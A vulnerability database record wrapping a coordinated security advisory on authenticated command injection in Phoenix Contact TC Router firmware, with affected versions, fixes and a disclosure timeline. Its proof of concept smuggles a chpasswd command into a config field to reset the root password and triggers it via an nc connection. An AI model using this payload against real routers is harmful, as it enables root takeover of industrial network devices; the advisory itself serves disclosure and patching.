GCVE-1988-2026-0215

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "CyberDanube Security Research",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Thomas Weber | CyberDanube via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "CyberDanube Security Research 20260119-0\n-------------------------------------------------------------------------------\n                title| Authenticated Command Injection\n              product| TC Router 5004T-5G EU\n   vulnerable version| 1.06.18\n        fixed version| 1.06.23\n           CVE number| CVE-2025-41717\n               impact| High\n             homepage| https://www.phoenixcontact.com/\n                found| 16.04.2025\n                   by| D. Blagojevic, S. Dietz, F. Koroknai, T. Weber\n                     | CyberDanube Security Research\n                     | Vienna | St. Pölten\n                     | This research was conducted in cooperation with VERBUND\n                     | OT Cyber Security Lab during a penetration test.\n                     |\n                     | https://www.cyberdanube.com\n                     |\n-------------------------------------------------------------------------------\n\nVendor description\n-------------------------------------------------------------------------------\n\"What we do\nConnecting, distributing, and controlling power and data flows - we have been\ndeveloping the right products for this purpose since 1923. Whether in\nindustrial production facilities, in the field of renewable energies, in\ninfrastructure, or for complex device connections: our solutions are used\nwherever processes must run automatically. Above and beyond their pure\nfunction, they help our partners to develop sustainable applications with more\nefficient processes and reduced costs.\n\nWe are Phoenix Contact: With innovative products and solutions, we are paving\nthe way to a climate-neutral and sustainable world.\"\n\nSource: https://www.phoenixcontact.com/en-us/company\n\nVulnerable versions\n-------------------------------------------------------------------------------\nTested on TC Router version 1.06.18\n\nAccording to the vendor, the following other products are also affected:\n\nProduct Name | Affected Firmware Version\nTC ROUTER 3002T-3G | < FW 3.08.8\nTC ROUTER 2002T-3G | < FW 3.08.8\nTC ROUTER 3002T-4G | < FW 3.08.8\nTC ROUTER 3002T-4G GL| < FW 3.08.8\nTC ROUTER 5004T-5G EU | < FW 1.06.23\nTC ROUTER 3002T-4G VZW | < FW 3.08.8\nTC ROUTER 3002T-4G ATT | < FW 3.08.8\nTC ROUTER 2002T-4G | < FW 3.08.8\nCLOUD CLIENT 1101TTX/TX | < FW 3.07.7\nTC CLOUD CLIENT 1002-4G ATT | < FW 3.08.8\nTC CLOUD CLIENT 1002-TX/TX | < FW 3.07.7\n\nVulnerability overview\n-------------------------------------------------------------------------------\n1) Authenticated Code Execution (CVE-2025-41717)\nThe device is vulnerable to an authenticated code injection. An attacker with\nvalid credentials could abuse this issue to execute code as root.\n\n\nProof of Concept\n-------------------------------------------------------------------------------\n1) Authenticated Code Execution (CVE-2025-41717)\nThe config-upload endpoint can be used to inject arbitrary commands which\nget executed when polling the sock_server. The malicous config changes the\nroot password and enables the service.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n<entry name=\"conf/smtp/auth\">1</entry>\n<entry name=\"conf/smtp/from\">p () t com&apos;$(echo &quot;root:password1!&quot;|ch\npasswd)&apos;</entry>\n<entry name=\"conf/smtp/local\">1</entry>\n<entry name=\"conf/smtp/password\">asdasdasd</entry>\n<entry name=\"conf/smtp/port\">25</entry>\n<entry name=\"conf/smtp/server\">192.168.19.138</entry>\n[...]\n<entry name=\"conf/alerts/sock_enable\">1</entry>\n<entry name=\"conf/alerts/sock_port\">14323</entry>\n<entry name=\"conf/alerts/sock_xml_io\">0</entry>\n<entry name=\"conf/alerts/sock_xml_nl\">1</entry>\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nConnecting to the service and sending a mail triggers the command.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n$ nc 192.168.19.133 14323\n<?xml version=\"1.0\"?>\n<email to=\"pwned () pwned com\">\n<subject>pwned</subject>\n<body>\n</body>\n</email>\n\n-------------------------------------------------------------------------------\n\n\nSolution\n-------------------------------------------------------------------------------\nInstall the latest available update. See vendor advisory for detailed version\ninformation.\n\n\nWorkaround\n-------------------------------------------------------------------------------\nRestrict network access to the device.\n\n\nRecommendation\n-------------------------------------------------------------------------------\nConfiguration file reviews are recommended before they got applied to the\ndevice.\n\n\nContact Timeline\n-------------------------------------------------------------------------------\n2025-07-17: Sent advisory to Phoenix Contact PSIRT.\n2025-07-29: Vendor asked for a call to clarify the vulnerabilities.\n2025-07-31: Aligned on timeline for September during call.\n2025-08-19: Vendor confirmed publications for 2025-10-14. Confirmed the\n            shift.\n2025-09-25: Asked the vendor for another call to clarify details regarding all\n            affected devices (including other advisories).\n2025-09-26: Talked to vendor to clarify details.\n2025-10-09: Asked for CVE Numbers. Received and included them in the advisory.\n2025-11-18: Phone call with vendor. Agreed publication date after 2026-01-13.\n2026-01-19: Coordinated release of security advisory.\n\nWeb: https://www.cyberdanube.com\nTwitter: https://twitter.com/cyberdanube\nMail: research at cyberdanube dot com\n\nEOF T.Weber / @2026\n\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T07:57:42Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/3"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Feb/3"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://twitter.com/cyberdanube"
        },
        {
          "url": "https://www.cyberdanube.com"
        },
        {
          "url": "https://www.phoenixcontact.com/"
        },
        {
          "url": "https://www.phoenixcontact.com/en-us/company"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Feb/3"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "CyberDanube Security Research 20260119-0 | Authenticated Command Injection in Phoenix Contact TC Router Series",
      "x_gcve": [
        {
          "recordType": "reference",
          "relationships": [
            {
              "destId": "CVE-2025-41717",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0215",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Feb/3",
            "automated": true,
            "contentSha256": "c9702fb15d54ece4ebd9f6086a5c649d6996044d58fa6aebcf87ec01675ee827",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Feb/3",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-02-03T11:13:05Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T07:57:42Z",
    "dateUpdated": "2026-09-08T07:57:42Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0215"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}